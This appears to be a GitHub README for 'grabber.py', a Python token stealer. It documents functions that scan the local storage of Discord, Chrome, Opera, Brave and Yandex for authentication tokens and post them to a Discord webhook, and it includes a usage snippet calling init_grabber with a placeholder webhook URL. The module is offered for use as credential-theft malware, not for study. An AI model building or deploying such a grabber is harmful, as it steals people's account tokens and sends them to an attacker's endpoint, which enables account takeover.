-
Notifications
You must be signed in to change notification settings - Fork 0
grabber.py
This is a module for grabbing tokens from various applications and sending them to a Discord webhook.
To use this module, you can import it in your Python script as follows:
import grabber
This function takes a path
parameter and returns a list of tokens found in the specified path. It searches for tokens in log files with the extensions .log
and .ldb
. The tokens are extracted using regular expressions.
-
path
(str): The path to search for tokens.
-
tokens
(list): A list of tokens found in the specified path.
This function initializes the grabber module. It retrieves tokens from specific application paths and sends them to a Discord webhook specified by the WEBHOOK_URL
.
-
WEBHOOK_URL
(str): The URL of the Discord webhook to send the tokens to.
WEBHOOK_URL = "https://discord.com/api/webhooks/1234567890/abcdefg"
grabber.init_grabber(WEBHOOK_URL)
The function retrieves tokens from various applications, including Discord, Google Chrome, Opera, Brave, and Yandex. It formats the tokens into a message and sends it to the specified webhook URL. If no tokens are found, it sends a message indicating that no tokens were found.
Note: Before using this function, make sure to set the PING_ME
variable according to your requirements.
This documentation provides an overview of the grabber
module and its functions. For more details about the implementation and usage, please refer to the code comments and function definitions.